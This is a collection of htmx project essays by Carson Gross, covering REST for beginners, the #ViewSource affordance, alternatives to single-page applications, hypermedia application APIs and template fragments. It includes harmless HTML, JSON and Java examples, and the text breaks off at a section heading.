# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/rest-explained.md

+++
title = "REST - Explained For Beginners"
description = """\
  In this essay, Carson Gross presents the core concepts of REST (Representational State Transfer) explained in simple \
  terms for beginners. He breaks down Roy Fielding's dissertation to highlight key principles like the Uniform \
  Interface, Statelessness, Hypermedia (HATEOAS), and more, making REST easy to understand for non-academic web \
  developers."""
date = 2021-07-13
updated = 2022-02-06
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

There is no topic that generates more confusion in web development than the idea of Representational State Transfer, 
known as REST.  This term comes from [Chapter 5](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm) 
of [Roy Fielding's](https://en.wikipedia.org/wiki/Roy_Fielding) PhD thesis at [U.C. Irvine](https://www.uci.edu/).

In this essay we will go through this Chapter and summarize the important concepts for non-academic web developers.  The 
thesis is dense and involves a lot of technical jargon that isn't relevant to people who aren't academics interested
in formal PhD thesis writing.

By the end of this essay you should have a better handle on REST, and the concept of a 
[Uniform Interface](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_5) in particular.

## Overview

The first thing to understand about REST is that *it is a description of the original web*.  Fielding describes REST as an 
"architectural style for distributed hypermedia systems", which sounds fancy but just means the web we all know and love:
 clicking on hyperlinks, submitting forms, looking at images, reading paragraphs and all that jazz.

It was *NOT* created as a description of a particular approach for JSON APIs, although that is the context
that most people hear about REST today in.  Fielding was describing the early web and, in particular, how it was different
from earlier client/server architectures.

## Section 5.1 Deriving Rest

In [section 5.1](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1), unfortunately for 
non-academics, Fielding adopts the technique of deriving REST from first principles.  Here I will summarize each section
and clarify and add context in the important ones.

### [Client Server](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_2)

REST is, of course, a client-server architecture, since the web is a client (browser) server (http server) system.

### [Stateless](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_3)

The web, most developers know, is intended to be stateless.  All requests should encapsulate all information necessary
to understand that request.  For example, there should not be a long running transaction implicitly associated with a series
of requests, as you might have with a SQL database session.

### [Cache](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_4)

HTTP, you probably know, has a [caching mechanism](https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching) built into 
it.  You don't need to know the details of this now, but may explore it later.

### [Uniform Interface](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_5)

This section, in my mind, is the crux of the REST architecture and, unfortunately, is very brief, so we will spend some
time expanding on it, rather that just summarizing it.  The chapter begins:

> The central feature that distinguishes the REST architectural style from other network-based styles 
> is its emphasis on a uniform interface between components 

To clarify the discussion around exactly what the uniform interface is, let's consider some simple HTML that I hope
everyone reading this will understand:

```html
<html>
  <body>
  <section>
    <p>
      Name: Joe Blow
    </p>
    <p>
      Email: joe@blow.com
    </p>
    <p>
      <a href="/contacts/42/edit">Edit</a>
      <a href="/contacts/42/email">Email</a>
      <a href="/contacts/42/archive">Archive</a>
    </p>
  </section>
</body>
</html>
```

Here we have a basic bit of html, with some divs, a bit of information and then some anchor tags to perform various 
operations on a contact.  Nothing fancy.  Again, for the discussion, imagine this content could be found at 
<http://example.com/contacts/42>.

Back to the dissertation:

> REST is defined by four interface constraints: identification of resources; manipulation of resources through 
> representations; self-descriptive messages; and, hypermedia as the engine of application state.

Let's go through each of these in turn.

#### Identification of Resources

The first aspect of Rest is the idea of *resources* that are found somewhere via... well, [Universal Resource Locators](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_URL), or URLs.  Note that the HTML contains additional URLs for the actions that you can perform on this
resource (`contacts/42`), following the conventional hierarchical arrangement of URL paths.

#### Manipulation of Resources Through Representations

This sounds fancy, but it just means that you can update and mutate the resource (that is, the contact) through various
representations (that is HTML pages) rather than having to issues, say, SQL, to modify it.

#### Self Descriptive Messages

This is a key concept of REST.  Note that the browser, which is the client in this client-server setup, *knows nothing
about contacts*.  And yet it is able to render a "Contact UI" simply by rendering the HTML returned by the server.  The
message itself is entirely self-describing, containing all information the client needs about both the data and the possible
operations on that data (in the form of links.)

Now, contrast this with a JSON representation of the same data:

```json
    {
      "name" : "Joe Blow",
      "email" : "joe@example.com"
    }
```

Obviously this is smaller, but a client working with this data must decide two crucial things:

* How to render it
* What actions are available to mutate it

The first part is typically done with a client side template.  The second is typically done by reading the documentation
for the API and encoding the interactions with the server directly in the client.

This is the crux of the difference between REST-ful systems and traditional client-server system: in the REST-ful system
the client (i.e. the browser) doesn't know anything about the resource, it just knows how to render a hypermedia.  In
the client-server system, knowledge about the resource is embedded in the client.

There are pros and cons to both approaches, but the REST-ful approach, in the form of the early web, proved to be
extremely reliable and flexible.  It hides a tremendous amount of knowledge about the resources behind this *uniform
interface* of HTML, so the client doesn't have the opportunity to break in the way the thick-client does.

Now, you may have noticed that, in the last decade, web development has trended away from the REST-ful architecture
and towards a more traditional client-server setup, using JSON APIs.  And you may have noticed a lot more discussion and
issues around versioning APIs, providing more general query functionality and so on.  This is not accidental: we are
losing the flexibility of the REST-ful model as we turn the browser into a VM for hosting thick client applications.

#### Hypermedia As The Engine of Application State (HATEOAS)

This last concept dovetails with the previous one: clients transition application state by interacting with URLs
found in the hypermedia itself (via forms and links).  So, in the HTML example above, the ability to edit, email
and archive the contact all encoded as anchors in the HTML.  If one of those actions was not available, or a new
one became available, it would come down in a new bit of HTML, after a page refresh.

This is in contrast with a thick client approach where, for example, a local store may be sync'd asynchronously with
a back end and, thus, the HTML is not acting as the engine of application state, but rather as a (somewhat janky)
UI description language.
 
Somewhat hilariously, the [Wikipedia article on HATEOAS](https://en.wikipedia.org/wiki/HATEOAS) uses JSON, which is not
a natural hypermedia.  You can layer some REST-ful behavior on top of JSON if you want, but it has rarely been useful
in the real world, and HATEOAS is usually ignored in JSON APIs.  This makes sense because JSON APIs are useful mainly
for the traditional client-server architecture and aren't particularly amenable to the REST-ful style.

#### Uniform Interface Summary

That's the crux of REST and really the crux of this essay.  You can read on for a bit more detail and analysis of Fieldings
paper, but the core take away here is that there is a sharp distinction between a REST-ful hypermedia architecture and
traditional client-server architectures, and that distinction revolves mainly around the concept of a uniform interface,
and the self-describing nature of them in particular.

Again, don't get bogged down in the jargon here, just think about this HTML and what a miracle of flexibility and
ingenuity it is:

```html
<html>
  <body>
  <div>
    <div>
      Name: Joe Blow
    </div>
    <div>
      Email: joe@blow.com
    </div>
    <div>
      <a href="/contacts/42/edit">Edit</a>
      <a href="/contacts/42/email">Email</a>
      <a href="/contacts/42/archive">Archive</a>
    </div>
  </div>
</body>
</html>
```

### [Layered System](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_6)

You don't need to know much about this, except that [CDNs exist](https://en.wikipedia.org/wiki/Content_delivery_network), and you should use them.

### [Code-On-Demand](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_7)

Again, you don't need to know much about this, except that [Javascript exists](https://developer.mozilla.org/en-US/docs/Web/javascript), and 
that it's the only part that's optional.

## Section 5.2 - [REST Architectural Elements](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_2)

I won't drill in as deeply on this section as we did others because it gets pretty technical and, frankly, is a bit
boring and repetitive (as one might expect from a dissertation.)  The two big ideas in this section are Resources and
Representations.

## Section 5.2.1 - [Resources and Resource Identifiers](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_2)

From the paper:

> The key abstraction of information in REST is a resource. Any information that can be named can be a resource: a document
> or image, a temporal service (e.g. "today's weather in Los Angeles"), a collection of other resources, a 
> non-virtual object (e.g. a person), and so on. 

Practically, a resource is anything that can be addressed by a URL.  What happens when you access a URL?

Well, you get back a *representation* of that resource, in the form of an HTTP response that may contain HTML, directives
and so forth.

## Section 5.2.1 - [Representations](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_2)

I don't find a lot of practical use in this section.  There is some stuff on control data, media types and so forth,
which are all worth learning about eventually when needed, but aren't a commonly used aspect of web development.

The remaining sections 5.2 similarly do not offer much to the generalist.

## Section 5.3 - [REST Architectural Views](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_3)

In what is becoming a pattern, I again do not feel there is a lot of useful new information for the average web
developer in this section, with one big exception: it lays out the benefits of REST.

From the paper:

> REST's client-server separation of concerns simplifies component implementation, reduces the complexity of connector semantics, 
>  improves the effectiveness of performance tuning, and increases the scalability of pure server components. 
>  Layered system constraints allow intermediaries--proxies, gateways, and firewalls--to be introduced at various points
>  in the communication without changing the interfaces between components, thus allowing them to assist in communication 
>  translation or improve performance via large-scale, shared caching. REST enables intermediate processing by constraining
>  messages to be self-descriptive: interaction is stateless between requests, standard methods and media types are used
> to indicate semantics and exchange information, and responses explicitly indicate cacheability.

This is all very true, and is why the web has been so successful and will continue to be successful.

## [Sections 5.4](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_4) & [5.5](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_5) - Related Work & Summary

These brief sections are not relevant to non-academics interested in REST. 

## Summary

So there you have it, a brief tour of Chapter 5 of Roy Fielding's dissertation, which gave us the term REST.  I have
focused in on the areas that I think are most important for web developers to understand and tried to convey how
REST describes the original web model.  The uniform interface concept is, in my opinion, the most important and interesting
aspect of REST, and is useful for web developers to understand as it is primarily responsible for the benefits described
above.

Finally, I hope you can see how inappropriate REST is for describing most JSON APIs in use today.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/right-click-view-source.md

+++
title = "The #ViewSource Affordance"
description = """\
  In this essay, Carson Gross explores the significance of the #ViewSource affordance in preserving the open, \
  collaborative culture of the early web. He examines the impact of digital and technical enclosure on this culture, \
  highlights the importance of developer decisions in maintaining openness, and advocates for prioritizing \
  #ViewSource-friendly practices in modern web development."""
date = 2023-09-21
updated = 2023-09-21
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

> Not for nothing, Hypercard presaged the web's critical "#ViewSource" affordance, which allowed people to copy,
> modify, customize and improve on the things that they found delightful or useful.  This affordance was later adapted 
> by other human-centered projects like #Scratch, and is a powerful tonic against #enshittification.
> 
> \-\-[Cory Doctorow @pluralistic@mamot.fr](https://twitter.com/doctorow/status/1701934612686196872)

## Open Culture & The Web

When people talk about open source software, that conversation is often dominated by
[the Free Software Foundation's notion of free software](https://www.gnu.org/philosophy/free-sw.html):

> “Free software” means software that respects users' freedom and community. Roughly, it means that the users have the 
> freedom to run, copy, distribute, study, change and improve the software.

This definition of free software has been a useful one and, through advocating for it, the FSF has gifted the world a 
lot of wonderful open source software.

Web applications, however, have always been an uncomfortable fit for this definition of free.  This is mainly
for technical reasons: web applications involve a web browser interacting with a web server that is, typically, running
on a remote system.

At a fundamental level, the REST-ful architecture of the web was built around _hypermedia representations_ of remote
resources:  browsers deal only with hypermedia representations provided by the server and, thus, have no visibility into
the actual source of the code executing on the server side.

Now, the web has certainly _leveraged_ free and open source software in its growth: browsers are typically (at least mostly)
open source, server software is often open source, and so on.  And there are, of course, open source web applications
that users may run for things like forums and so forth.

However, from the standpoint of typical web application users, web applications are not free in the FSF sense of that
term: the users are unable to see and modify the source of the server code that is being executed as they interact with
the application via the browser.

### Right-Click-View-Source As Culture

Despite the fact that the web has a somewhat uncomfortable relationship with the notion of free software, the early web 
none-the-less had a radically open _developer culture_. 

In fact, in some important and practical ways, the early web had a _more_ open developer culture than what was achieved 
by the free software movement.

The [#ViewSource](https://en.wikipedia.org/wiki/View-source_URI_scheme) affordance available in browsers allowed people 
to understand and "own", at least in an informal way, the web in a way that even most FSF-conforming applications could 
not: you had direct access to the "source", or at least _part_ of the source, of the application available from 
_within_ the application itself.  

You could copy-and-paste (or save) the "source" (HTML, JavaScript & CSS) and start modifying it, without a complicated
build tool chain or, indeed, without any tool chain at all.

This radical openness of the web allowed many people, often not formally trained computer programmers, to learn how to 
create web pages and applications in an ad hoc and informal way.  

In strict free software terms, this was, of course, a compromise: as a user of a web application, you had no visibility 
into how a server was constructing a given hypermedia response.

But you could see _what_ the server was responding with: you could download and tweak it, poke and prod at it.  You could,
if you were an advanced user, use browser tools to modify the application in place.  

And, most importantly, you could _learn from it_, even if you couldn't see how the HTML was being produced.

This radical openness of the client and network protocol, and the culture it produced, was a big part of the success
of the early web.

## Digital Enclosure vs. Technical Enclosure

The [Enclosure Movement](https://en.wikipedia.org/wiki/Enclosure) was a period in English history when what were 
previously [commons](https://en.wikipedia.org/wiki/Commons) were privatized.

This was a traumatic event in English history, as evidenced by this poem by an 18th century anon:

> The law locks up the man or woman
> 
> Who steals the goose from off the common,
> 
> But lets the greater felon loose
> 
> Who steals the common from the goose.
>
> --18th century anon

In the last decade, the web has gone through a period of "Digital Enclosure", where ["Walled Gardens"](https://en.wikipedia.org/wiki/Closed_platform),
such as Facebook & Twitter, have replaced the earlier, more open and more chaotic blogs and internet forums.

### Technical Enclosure

Many (most?) web developers have decried this trend.  

However, despite recognizing the danger of an increasingly closed internet, many web developers don't consider their own
technical decisions and how those decisions can also contribute to the disappearance of web's _culture_ of openness.

Inadvertently (for the most part) technical trends and decisions in web development in the last two decades have lead
to what we term a "Technical Enclosure" of the web, a processes whereby technical decisions chip away at the #ViewSource
affordance that Cory Doctorow discusses in the opening quote of this article, an affordance that existed as a commons
for early web developers.

To see a stark example of the decline of the [#ViewSource](https://en.wikipedia.org/wiki/View-source_URI_scheme) affordance
in web development and Technical Enclosure in action, we can look at what is perhaps the most popular web page on the 
internet, [The Google Homepage](https://google.com).

Here is the nearly complete source of that page from the year 2000, taken from 
[the wayback machine](http://web.archive.org/web/20000229040250/http://www.google.com/):

### Google in 2000
<img src="/img/google-2000.png" alt="Google Source Code in 2000" style="border-radius: 12px; margin: 12px">

In contrast, here is a random snapshot of roughly 1/100th of the current source code for the website:

### Google in 2023
<img src="/img/google-2023.png" alt="Google Source Code in 2023" style="border-radius: 12px; margin: 12px">

These two screenshots dramatically demonstrate the decline in the effectiveness of the [#ViewSource](https://en.wikipedia.org/wiki/View-source_URI_scheme) affordance over time:
yes, you can still right-click the page and view its underlying source, but making sense of the latter code would be
challenging for even the most seasoned web developer.

A new web developer would have almost no chance of deriving any value from doing so.

Now, this is not to criticize the Google engineer's technical decisions that lead to this situation _as technical 
decisions_: obviously, despite similar appearances, the Google homepage of 2023 is far more sophisticated than the one 
available in 2000.

The 2023 google homepage is going to be a lot more complicated than the 2000 page and, given the zeitgeist, it is going to 
involve a lot of JavaScript.

However, this is to point out that something deeply important about the early web has been lost, almost certainly 
unintentionally, along the way: the ability to view the source of the page, make sense of what it is doing and, most 
importantly, to learn from it.

## Right-Click-View-Source Extremism

Both [htmx](/) and [hyperscript](https://hyperscript.org) adhere to the [Locality of Behavior](@/essays/locality-of-behaviour.md)
design principle.

This principle states that:

> The behaviour of a unit of code should be as obvious as possible by looking only at that unit of code

The main technical advantage of Locality of Behavior is ease of maintenance, as outlined in the essay above.

However, there is an important cultural benefit to the Locality of Behavior of htmx and hyperscript as well: **it restores
the power of the [#ViewSource](https://en.wikipedia.org/wiki/View-source_URI_scheme) affordance on the web**.

Consider [Hyperwordle](https://arhamjain.com/hyperwordle/), a hyperscript-based clone of the popular 
[Wordle](https://www.nytimes.com/games/wordle/index.html) game, now owned by the New York Times.

You can visit Hyperwordle, right click and view the source of it, and you will be presented with some HTML and hyperscript,
all of which is, with a bit of effort, understandable.

The  [#ViewSource](https://en.wikipedia.org/wiki/View-source_URI_scheme) affordance is effective in this case.

Contrast this with the view-source experience of the Wordle implementation at the New York Times.

Now, this is of course a bit unfair: the NYTimes version has a lot more functionality and is heavily optimized. Hyperwordle
is a proof of concept and not being hammered by millions of users every day.

Despite that qualification, Hyperwordle demonstrates a potential future for the web, a future where a culture of openness,
of [#ViewSource](https://en.wikipedia.org/wiki/View-source_URI_scheme) politeness, is once again a touchstone of the
culture of the web.

## Prioritizing [#ViewSource](https://en.wikipedia.org/wiki/View-source_URI_scheme)

Engineers who care about the open culture of the web should recognize that the threats to that culture come not only from
Digital Enclosure by large, private companies of the most important pieces of the web.  

They should also recognize the risks of Technical Enclosure, and the _non-technical_ value of the 
[#ViewSource](https://en.wikipedia.org/wiki/View-source_URI_scheme) affordance in perpetuating the open culture of
web development.  They should start thinking about making this affordance a priority in their technical decisions.  As
with all priorities, this may involve trading off against other technical and even functional priorities during 
application development.

But if we don't stand up for [#ViewSource](https://en.wikipedia.org/wiki/View-source_URI_scheme), no one else will.

<br/>

<img src="/img/memes/viewsource.png" alt="Right Click View Source Guy" style="border-radius: 12px; margin: 12px">

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/spa-alternative.md

+++
title = "SPA Alternative"
description = """\
  In this essay, Carson Gross explores alternatives to Single Page Applications (SPAs), advocating for an \
  'HTML-Centric' development approach. He highlights the drawbacks of SPA complexity and the benefits of embracing \
  HTML as the core medium for web development, offering a simpler, more efficient way to build applications without \
  sacrificing interactivity. Carson discusses how tools like htmx enhance HTML's capabilities and encourages \
  developers to reconsider the dominant SPA paradigm with technical bravery."""
date = 2020-10-29
updated = 2022-02-06
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

Recently [Tom MacWright](https://macwright.com) has written a few posts on Single Page Applications and their discontents:

* [Second-guessing the modern web](https://macwright.com/2020/05/10/spa-fatigue.html)
* [If not SPAs, What?](https://macwright.com/2020/10/28/if-not-spas.html)

> The emerging norm for web development is to build a React single-page application, with server rendering. The two key 
> elements of this architecture are something like: 
>
>1. The main UI is built & updated in JavaScript using React or something similar.
>2. The backend is an API that that application makes requests against. 
>
> This idea has really swept the internet. It started with a few major popular websites and has crept into corners 
> like marketing sites and blogs.

In these two articles Tom lays out the problem associated with the React/SPA everywhere mindset.  If I can summarize 
them in one sentence: SPA frameworks tend to be complex, and you don't get a lot of benefit for all that
complexity in many cases.

## An Alternative

Tom outlines a few alternatives to the SPA approach in the second article and, I'm happy to say, mentions htmx.  However,
he classifies htmx (as well as [Stimulus](https://stimulusjs.org/) and [Alpine.js](https://github.com/alpinejs/alpine/))
as "progressive-enhancement" libraries.  This is a good description, but, at least in the case of htmx, I think there 
is a better term to help describe this style of library: *HTML-Centric* (or, perhaps, *Hypertext-Centric*)

### HTML-Centric Development

In HTML-Centric Development, rather than being an afterthought, HTML is embraced as the primary medium of application
development.  This is in contrast to most SPA frameworks, where a client-side model & the javascript that manipulates
it is the central focus.

HTML-Centric Development builds on the original model of the web, as outlined in 
[Roy Fielding's PhD dissertation](https://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm), describing the web
architecture.  In particular, by embracing HTML as a hypertext, you get the benefits of 
[REST and HATEOAS](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm), all without needing to
be an expert in either of those topics.  

(Recall, Roy was *describing* the web architecture, so the original web was
largely REST-ful, without any particular effort on the part of the original participants)

By picking HTML-Centric Development, you accrue many benefits:

* A simpler front end allows you to save your [complexity budget](@/essays/complexity-budget.md) for the back end functionality
  that differentiates your application from others.
* You do not face pressure to adopt javascript on the back end "since the front end is written in javascript".  This allows
  you to use the best backend framework for your particular application.
* With a simpler front end, a "full stack" developer can more easily manage and optimize front-to-back optimization in 
  your application, leading to much better system tuning
* Your web application is going to have HTML in it anyway, so by maximizing its utility you are boosting the power of
  an existing component, rather than adding another layer of complexity between the end user and your application code.
* The stateless network model of the web has proven very resilient and easy to develop for.  Many mature and battle-tested
  technologies and techniques (e.g. [caching](https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching)) exist for 
  building HTML-based applications.

### HTML: The Bad Parts

With all these benefits of the HTML-Centric model, one may wonder why it has been abandoned (and is often mocked) by 
many web developers.  At a high level, the answer is: 

*HTML-Centric applications have historically offered a limited 
amount of interactivity when compared with javascript-based applications*.

This is in large part because HTML is a limited hypertext.  In particular:

* Only `<a>` and `<form>` can make HTTP requests
* Only `click` & `submit` events can trigger them
* Only GET & POST [HTTP Methods](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods) are widely available
* A request must replace the entire screen, leading to a clunky and sometimes jarring user experience

Of course, none of the constraints are inherent in the concept of a hypertext, and the goal of [htmx](@/_index.md)
is to remove each of them.

By removing these constraints and completing HTML as a fully-functional and high-powered hypertext, HTML-Centric 
applications can compete with SPAs in many application domains, while at the same time accruing the technical
and complexity benefits mentioned above.

## Being Brave, Technically

Tom closes his first article with this:

> What if everyone’s wrong? We’ve been wrong before.

Web development has gone down blind alleys quite a few times: GWT, Java Server Faces, Angular 1, FlatUI, etc.  
During the height of the hype cycle around each of these technologies, it was difficult to go against the grain.  It is 
particularly difficult to do in the technology world , where the being left behind technically is not only a threat to 
our ego, but also to our employment.  

> "No One Ever Got Fired For Using React"

is today's 

> "No One Ever Got Fired For Buying IBM"

That's a reality that we must accept, even if we feel that React/etc. aren't appropriate for many (or even most) web
applications being built today.  

However, we are starting to see a reconsideration of the SPA approach.  With a bit of technical bravery, a willingness
to stand against the crowd, you may be able to make your application much less complex, and focus your development
efforts on what your application does, rather than on how it does it.

From the [htmx developer's starter kit](https://twitter.com/htmx_org/status/1306234341056344065):

![What if?](/img/what_if.png)

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/splitting-your-apis.md

+++
title = "Splitting Your Data &amp; Application APIs: Going Further"
description = """\
  If you split your API into Data and Application APIs, you should consider changing your Application API from JSON to \
  Hypermedia (HTML) and using a hypermedia-oriented library like htmx to reap the benefits of the hypermedia model \
  (simplicity, reliability, and flexibility)."""
date = 2021-09-16
updated = 2022-02-06
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

**TLDR:** If you split your API into Data and Application APIs, [as advocated here](https://max.engineer/server-informed-ui), 
you should consider changing your Application API from JSON to Hypermedia (HTML) & using a *hypermedia-oriented* library like
[htmx](/) to reap the benefits of the hypermedia model (simplicity, reliability, flexibility, etc.)

## The Problem

Recently, [Max Chernyak](https://max.engineer/) wrote an essay entitled 
[Don’t Build A General Purpose API To Power Your Own Front End](https://max.engineer/server-informed-ui).  His
TLDR is this:

> YAGNI, unless you’re working in a big company with federated front-ends or GraphQL.

He then discusses some of the different needs of a general purpose API and your application API.  He lists the 
following as needs for a generic API:

<div style="padding-left:64px">

1. How to predict and enable all possible workflows
1. How to avoid N+1 requests for awkward workflows
1. How to test functionality, performance, and security of every possible request
1. How to change the API without breaking the existing workflows
1. How to prioritize API changes between internal and community requirements
1. How to document everything so that all parties can get stuff done

</div>

And these as application API needs:

<div style="padding-left:64px">

1. How to collect all the data needed to render a page
1. How to optimize requests to multiple endpoints
1. How to avoid using API data fields in unintended ways
1. How to weigh the benefit of new features against the cost of new API requests

</div>

I will term this misalignment of needs the **Data/App API Impedance Mismatch** problem.

Max's recommendation is to split the API into two "halves": a generic API and an application API:

> I suggest you stop treating your frontend as some generic API client, and start treating it as a half of your app.
>
>  Imagine if you could just send it the whole “page” worth of JSON. Make an endpoint for `/page/a` and render the whole JSON for `/page/a` there. 
>  Do this for every page. Don’t force your front-end developers to send a bunch of individual requests to render a complex page. 
>  Stop annoying them with contrived limitations. Align yourselves.

## Right about What's Wrong

I agree entirely with Max on the problem here.  

I would particularly emphasise the fact that the generic API needs to be stable, whereas the application API must change 
rapidly to address application needs.  

Jean-Jacques Dubray, in [this article](https://www.infoq.com/articles/no-more-mvc-frameworks/) relates the following sad state of affairs for
API designers:

> The worst part of my job these days is designing APIs for front-end developers. The conversation goes inevitably as: 
>
>  Dev – So, this screen has data element x,y,z… could you please create an API with the response format {x: , y:, z: }
>
>  Me – Ok

This is a perfect encapsulation of the tension that Max has noticed, where API engineers want to design general, 
stable APIs, but are subject to the whims of a quickly-changing UI with complex data needs that are often best
solved on *the server side*.

As Max points out:

> You can keep “page a” dumb to only do what it needs to do. You test the crap out of “page a” for bugs, security, performance. You can even fetch everything for “page a” in a single big SQL query.

## Wrong about What's Right

So, again, I agree entirely with Max that there is a Data/App API Impedance Mismatch problem and I applaud him for suggesting 
that, rather than bailing out to a solution to like GraphQL, you split the APIs into two.

However, there is a **next step** to take:

Once you have split your application API from your generic data API, *you are no longer bound by the constraints of
 a public data API* and are free to reconsider the *entire form* of that application API.  We can do whatever we'd like with 
 it, so let's get a bit expansive in our thinking.
 
Note that core problems with the application API are rapid change and page (or resource) specific tuning.  It turns out that we
have a very good technology for dealing with *exactly* this problem: [Hypermedia](https://en.wikipedia.org/wiki/Hypermedia)!  

Hypermedia, by way of HATEOAS, makes API churn [much less of a problem](https://intercoolerjs.org/2016/02/17/api-churn-vs-security.html).  When you change the shape of your hypermedia API, well, 
that's fine: the *new* API is simply reflected in the *new* HTML returned by the server.  You can add and modify end points
and, lo and behold (to a first order of approximation) your clients (that is, browsers) don't need to be updated.

The browsers simply see the new HTML, and [the humans driving them react to the new functionality appropriately](https://intercoolerjs.org/2016/05/08/hatoeas-is-for-humans.html).

So, while I feel Max is on the right track, I also think he *doesn't go far enough*: once you have made the mental 
jump to solving the Data/APP API Impedance Mismatch problem by splitting the two into separate concerns, it is only a 
bit further down the road to rediscovering the advantages of hypermedia.

You may object that: "Oh, but hypermedia applications aren't very usable, we don't want to go back to web 1.0."

That is a perfectly reasonable objection, but people have been working on that problem and there are now many libraries 
available that address the usability issues of HTML *within the hypermedia model*.  

Two of my favorites are [unpoly](https://unpoly.com/) and, of course, my own [htmx](/).

## In Conclusion

If you switch to a hypermedia application API (which really just means "use HTML, like you used to") then you get all
of the benefits of the REST-ful web model (simplicity, reliability, etc.) and of server-side rendering in mature web frameworks
(caching, SQL tuning, etc.)
  
And, by choosing a hypermedia-oriented front end technology like htmx, you can create [excellent user experiences](/examples) within 
that model.

Everything old is new again, but, this time, a little bit better.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/template-fragments.md

+++
title = "Template Fragments"
description = """\
  In this essay, Carson Gross explores the concept of template fragments, a feature in server-side rendering (SSR) \
  that allows partial rendering of content within templates. He highlights the benefits of using template fragments in \
  hypermedia-driven applications, providing a cleaner and more maintainable approach compared to traditional template \
  decomposition. Carson showcases the use of template fragments in the Chill templating language and discusses how \
  this feature improves the developer experience when working with htmx and other hypermedia-oriented libraries. He \
  also includes examples and known implementations of template fragments in various programming languages."""
date = 2022-08-03
updated = 2023-03-18
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

Template fragments are a relatively rare Server Side Rendering (SSR) template library feature that allow you to render a
_fragment_ or partial bit of the content within a template, rather than the entire template.  This feature is very handy in 
[Hypermedia Driven Applications](@/essays/hypermedia-driven-applications.md) because it allows you to decompose a particular
view for partial updates _internally_ without pulling fragments of the template out to separate files for rendering,
creating a large number of individual template files.  

By keeping all the HTML in a single file, it is also easier to reason about how a feature works.  This follows the
[Locality of Behavior](@/essays/locality-of-behaviour.md) design principle.

## Motivation

Let's look at how template fragments, in an obscure templating language for java called
[chill templates](https://github.com/bigskysoftware/chill/tree/master/chill-script), can help us build an HDA.

Here is a simple chill template, `/contacts/detail.html` that displays a contact:

##### /contacts/detail.html
```html
<html>
    <body>
        <div hx-target="this">
          #if contact.archived
          <button hx-patch="/contacts/${contact.id}/unarchive">Unarchive</button>
          #else
          <button hx-delete="/contacts/${contact.id}">Archive</button>
          #end
        </div>
        <h3>Contact</h3>
        <p>${contact.email}</p>
    </body>
</html>
```

In the template we have an archiving feature where, depending on the archive state of the contact, we either display an "Archive"
or an "Unarchive" button, both powered by htmx and issuing HTTP requests to different end points.

When we click whichever of the two buttons is being shown, we want to replace the content in the `div` that surrounds 
the button with an updated button.  (Note the `hx-target="this"` on the div, so we are targeting that div's innerHTML for
replacement.)  This will effectively flip the back and forth between "Archive" and "Unarchive".  

Now, unfortunately, if we wanted to render only the buttons and not the rest of this template, this would typically involve
splitting the buttons out to their own template file and including it in this template, like so:

##### /contacts/detail.html
```html
<html>
    <body>
        <div hx-target="this">
          #include archive-ui.html
        </div>
        <h3>Contact</h3>
        <p>${contact.email}</p>
    </body>
</html>
```

##### /contacts/archive-ui.html
```html
#if contact.archived
<button hx-patch="/contacts/${contact.id}/unarchive">Unarchive</button>
#else
<button hx-delete="/contacts/${contact.id}">Archive</button>
#end
```

Now we have two templates.  We can now render the `archive-ui.html` template separately, but this split reduces the 
visibility of the archiving feature: it is less obvious what is going on when you are looking just at the `detail.html` 
template.  

When pushed to extremes, decomposing templates like this can lead to quite a few small template fragments which, in
total, become difficult to manage and to reason about.

### Template Fragments To The Rescue

To address this issue, chill templates has a `#fragment` directive.  This directive allows you to specify a block of 
content within a template and render _just that bit of content_:

##### /contacts/detail.html Using a Fragment
```html
<html>
    <body>
        <div hx-target="this">
          #fragment archive-ui
            #if contact.archived
            <button hx-patch="/contacts/${contact.id}/unarchive">Unarchive</button>
            #else
            <button hx-delete="/contacts/${contact.id}">Archive</button>
            #end
          #end
        </div>
        <h3>Contact</h3>
        <p>${contact.email}</p>
    </body>
</html>
```

With this fragment defined in our template, we can now render either the entire template:

```java
  Contact c = getContact();
  ChillTemplates.render("/contacts/detail.html", "contact", c);
```

Or we can render only the `archive-ui` _fragment_ of the template

```java
  Contact c = getContact();
  ChillTemplates.render("/contacts/detail.html#archive-ui", "contact", c);
```

We would use the first option when we want to render the entire detail page for the contact.

We would use the second option when we handled the archive/unarchive actions and wished only to rerender the buttons.

Note that, with fragments, we are able to keep our UI together in a single file and see exactly what is going on with 
the feature, without bouncing around between different template files.  This provides a cleaner and more obvious
implementation of the feature.

## Known Template Fragment Implementations

